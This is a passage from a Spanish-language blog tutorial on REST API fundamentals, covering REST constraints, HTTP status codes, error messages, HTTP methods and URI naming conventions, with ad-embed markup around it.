ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;que-es-una-api&#34;&gt;¿Qué es una API?&lt;/h2&gt;&#xA;&lt;p&gt;El término API proviene de las siglas en inglés de &lt;em&gt;interfaz de programación de aplicaciones&lt;/em&gt;, y consiste en una seríe de reglas que nos dicen como pueden comunicarse entre sí las aplicaciones y/o los dispositivos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;existen-diferentes-tipos-de-apis&#34;&gt;Existen diferentes tipos de APIs&lt;/h3&gt;&#xA;&lt;p&gt;Existen muchos tipos de APIs y todo el tiempo están apareciendo nuevos paradigmas, una de esas es REST.&lt;/p&gt;&#xA;&lt;p&gt;REST es especial porque ha sabido sobrevivir al paso del tiempo y posicionarse sobre el resto de paradigmas, pero no existe certeza sobre lo que sucederá mañana, quizás reescribamos todas las API en Rust.&lt;/p&gt;&#xA;&lt;p&gt;A la fecha aún existen protocolos que trabajan con peticiones POST, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;como el Model Context Protocol&lt;/a&gt;&#xA;, usado para estandarizar la comunicación entre cliente y LLM.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/timeline-de-APIs.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/timeline-de-APIs.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Linea del tiempo de APIs&#34; width=&#34;1330&#34; height=&#34;565&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;REST data del año 2000&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-es-una-api-rest&#34;&gt;¿Qué es una API REST?&lt;/h2&gt;&#xA;&lt;p&gt;Una API REST es una API que cumple las normas de diseño de REST (Oye, más despacio cerebrito). Ok pero, ¿qué es REST? REST es un estilo de arquitectura, que tiene que cumplir una serie de características de las que te hablo a continuación.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cuales-son-las-caracteristicas-de-las-api-rest&#34;&gt;¿Cuáles son las características de las API REST?&lt;/h3&gt;&#xA;&lt;p&gt;No todas las APIs son REST, numerosos desarrolladores, de todos los niveles, usan, erróneamente, el término API REST para referirse a cualquier servidor que retorne JSON o incluso a APIs orientadas a realizar acciones en el servidor, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;RPC o gRPC&lt;/a&gt;&#xA;, incluso compañias tan grandes como Twitter y Facebook no cumplen todas las características de una API REST, a pesar de anunciar sus APIS como si lo hicieran.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Si ya conoces la breve parte técnica, sáltate esta sección.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué características tienen las API REST? Si queremos diseñar una API REST tenemos que cumplir una serie de características que definen este estilo de diseño. Te las resumo brevemente a continuación:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sistema con arquitectura cliente-servidor.&lt;/strong&gt; Un sistema que consiste en dos partes, una que solicita información y la otra que la proporciona.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sin estado (Stateless):&lt;/strong&gt; el resultado de una petición no debe depender de peticiones anteriores. Es decir, el cliente debe proporcionar todo lo necesario para que su procesamiento por el servidor y el servidor no debe almacenar ninguna información de la sesión.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cacheable&lt;/strong&gt;: Debe ser posible etiquetar una respuesta como cacheable para reusarla en respuestas similares posteriores .&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Interfaz uniforme para todos los clientes.&lt;/strong&gt; Las URIs deben (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://danielmiessler.com/study/difference-between-uri-url/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;No confundir con URL&lt;/a&gt;&#xA;) hacer referencia a recursos y cada recurso debe tener una URI única. Un recurso puede ser un post, un usuario, un producto, etc. Por su parte, el servidor envía representaciones de los recursos (XML, JSON. TXT, etc), nunca el recurso original. El cliente debe ser capaz de modificar el recurso original a partir de la representación del recurso que recibe del servidor.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Acceso y modificación de recursos por medio de una URI&lt;/strong&gt;: Recuerda que una cosa es el recurso en si mismo y otra su representación. El cliente puede especificar el tipo de recurso (XML, JSON, TXT, etc.) que desea recibir por parte del servidor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mensajes autodescriptivos&lt;/strong&gt;: Cada mensaje debe tener la información suficiente para entender como procesarlo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Uso de recursos Hypermedia (HATEOAS):&lt;/strong&gt; el uso de hiperenlaces en la respuesta que apuntan hacia los recursos relacionados, de manera que el cliente pueda navegar la API a partir de las respuestas que obtiene del servidor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sistema en capas:&lt;/strong&gt; En las API REST, las solicitudes y las respuestas atraviesan diferentes capas. El cliente y el servidor deben ser agnósticos con respecto a las capas intermedias que existan entre su comunicación.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Código bajo demanda (opcional):&lt;/strong&gt; el servidor podría enviar código, en forma de scripts o componentes, para ampliar la funcionalidad del cliente.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si quieres ahondar en cada uno de estos puntos te dejo algunos recursos que pueden serte bastante útiles:&lt;/p&gt;&#xA;&lt;p&gt;En inglés:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Representational state transfer (inglés)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://steveklabnik.com/writing/nobody-understands-rest-or-http&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Nobody understands REST&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En español:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/06/15/entendiendo-rest-estilo-de-arquitectura.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Entendiendo REST. El estilo de Arquitectura&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/05/06/diseno-y-desarrollo-de-una-api-desde-cero.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Diseño y desarrollo de una API desde cero&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/08/03/entendiendo-rest-servidor-sin-estado.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Entendiendo REST servidor sin estado&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/10/27/entendiendo-rest-servicios-cacheables.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Entendiendo REST servicios cacheables&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ibm.com/mx-es/cloud/learn/rest-apis&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Principios de diseño de REST&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Resumidas las características básicas, vamos a los consejos prácticos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-los-codigos-de-estado-correctos-en-las-rest-apis&#34;&gt;Usa los códigos de estado correctos en las REST APIs&lt;/h2&gt;&#xA;&lt;p&gt;No devuelvas un código 200 en todas las respuestas de tu API.&lt;/p&gt;&#xA;&lt;p&gt;Como ya sabes, cada respuesta HTTP tiene un valor númerico que la define, estos valores pueden agruparse en rangos del 100 al 600.&lt;/p&gt;&#xA;&lt;p&gt;Nuestra API debe retornar los estados correctos que le indiquen al cliente lo que está sucediendo.&lt;/p&gt;&#xA;&lt;p&gt;Probablemente haya algunos estados que no usarás nunca, pero sí deberías memorizar al menos los de uso más frecuente:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;200 OK&lt;/strong&gt;, status ok, la petición salió bien&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;201 Created&lt;/strong&gt;, un recurso fue creado&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;204 No Content&lt;/strong&gt;, Solicitud completada con éxito, pero no hay contenido en la respuesta&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;301 Redirect&lt;/strong&gt;, Redirección permanente&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;302 Found&lt;/strong&gt;, Redirección temporal&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;400 Bad Request&lt;/strong&gt;, el servidor recibió una petición mal formada&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;401 Unauthorized&lt;/strong&gt;, no estás autenticado (no existe un usuario)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;403 Forbidden&lt;/strong&gt;, no tienes los permisos adecuados (el usuario no tiene los permisos)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;404 Not Found&lt;/strong&gt;, no se encontró el recurso solicitado&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;500 Internal&lt;/strong&gt; Server Error, error de servidor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Hay muchos más &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Status&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;estados HTTP que probablemente quieras conocer&lt;/a&gt;&#xA;. Asegúrante de revisarlos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/GoogleStatus418.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/GoogleStatus418.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Respuesta de código 418 en google.&#34; width=&#34;948&#34; height=&#34;502&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Código 418: Soy una tetera&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;devuelve-mensajes-claros-en-los-errores&#34;&gt;Devuelve mensajes claros en los errores&lt;/h3&gt;&#xA;&lt;p&gt;Cuando devuelvas un error, asegúrate que notificarle al usuario de tu API, de una manera clara y explícita, los errores y como solucionarlos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{ &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Validation Error&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error-0123&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;La contraseña debe tener más de 6 caracteres y contar con al menos un dígito&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;documentation_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://example.com/docs/errors/E-0123&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;los-metodos-http-validos-en-las-rest-apis&#34;&gt;Los métodos HTTP válidos en las REST APIs&lt;/h2&gt;&#xA;&lt;p&gt;No te limites a recibir solo peticiones POST y GET en tu API, hay un método para cada acción de un CRUD.&lt;/p&gt;&#xA;&lt;p&gt;Los métodos HTTP que recibamos como parte de la petición HTTP nos indicarán las instrucciones a realizar por parte del servidor.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GET: Leer un recurso&lt;/li&gt;&#xA;&lt;li&gt;POST: Crear un recurso&lt;/li&gt;&#xA;&lt;li&gt;PUT: Crea un nuevo recurso o actualizalo si ya existe&lt;/li&gt;&#xA;&lt;li&gt;PATCH: Editar una parte de un recurso&lt;/li&gt;&#xA;&lt;li&gt;DELETE: Borrar un recurso&lt;/li&gt;&#xA;&lt;li&gt;HEAD: Como GET pero sin obtener el recurso&lt;/li&gt;&#xA;&lt;li&gt;OPTIONS: Solicita al servidor los métodos soportados antes de hacerles una petición&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para conocer los detalles de cada método considera revisar la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Methods&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial sobre los métodos de petición HTTP.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;usa-sustantivos-en-plural-no-verbos-para-las-uri&#34;&gt;Usa sustantivos en plural, no verbos para las URI&lt;/h3&gt;&#xA;&lt;p&gt;Una API REST es una representación de recursos, por lo que siempre hacemos referencia a objetos, en plural.&lt;/p&gt;&#xA;&lt;p&gt;Las acciones se especifican en los métodos HTTP, por lo que debes dejarlos fuera de tus URIs&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Maneras incorrectas ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/crear-videojuego &lt;span style=&#34;color:#78787e&#34;&gt;# Esto no es REST, sino RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuego/crear &lt;span style=&#34;color:#78787e&#34;&gt;# Esto no es REST, sino RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuego/borrar &lt;span style=&#34;color:#78787e&#34;&gt;# Esto no es REST, sino RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por motivos de claridad usaremos el plural de los sustantivos para referirnos a los recursos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Incorrecta, está en singular ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuego &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Manera correcta ✅&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuegos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;evita-guiones-bajos-y-usa-siempre-minusculas&#34;&gt;Evita guiones bajos y usa siempre minúsculas&lt;/h2&gt;&#xA;&lt;p&gt;En el libro &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4kcQoiC&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces de Mark Masse&lt;/a&gt;&#xA;, establece como una &amp;ldquo;regla&amp;rdquo; el uso de minúsculas en las URIs y se motiva a evitar los guiones bajos, debido a que algunos dispositivos resaltan los recursos clickeables con subrayado, lo que puede dificultar la vista de los enlaces.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/VIDEOJUEGOS❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuegos_populares❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuegos✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;diagonal-al-final-o-no-en-una-rest-api&#34;&gt;¿Diagonal al final o no en una REST API?&lt;/h2&gt;&#xA;&lt;p&gt;Hay algunas opiniones encontradas respecto a esto.&lt;/p&gt;&#xA;&lt;p&gt;En el libro Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces se desaconseja por completo el uso de una diagonal al final de las URls.&lt;/p&gt;&#xA;&lt;p&gt;¿De donde viene la diagonal al final? Históricamente la versión sin diagonal se ha usado para referirse a archivos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuegos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras que una diagonal al final hace referencia a directorios.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/videojuegos/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por otro lado, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/search/blog/2010/04/to-slash-or-not-to-slash&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;google se muestra más permisivo en su artículo slash or not to slash&lt;/a&gt;&#xA;. Y se muestra totalmente indiferente hacia el uso o la ausencia de la diagonal final, sin embargo enfatiza la importancia de mantenerse uniforme en su uso, ya que &lt;strong&gt;las URLs con diagonal al final y sin diagonal al final se consideran diferentes URLs por los motores de búsqueda.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Elige una y apégate a ella. Considera usar una redirección (301) de un tipo de url a otro, pero sé consistente siempre.&lt;/p&gt;&#xA;&lt;h3 id=&#34;diagonal-al-final-en-la-raiz&#34;&gt;Diagonal al final en la raiz&lt;/h3&gt;&#xA;&lt;p&gt;En la dirección raiz no importa si se coloca una diagonal al final.&lt;/p&gt;&#xA;&lt;p&gt;Las &lt;strong&gt;direcciones URLs raiz son tratadas como una sola por los motores de búsqueda, tengan diagonal o no&lt;/strong&gt;, por lo que asegúrate de que devuelvan el mismo contenido.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://tudominio.com/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://tudominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;las-rest-api-no-deberian-incluir-la-extension-de-los-archivos&#34;&gt;Las REST API no deberían incluir la extensión de los archivos&lt;/h2&gt;&#xA;&lt;p&gt;No uses la URI para especificar el tipo de recurso solicitado por medio de su extensión. Recuerda que una cosa es el recurso en si mismo y otra es su representación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span 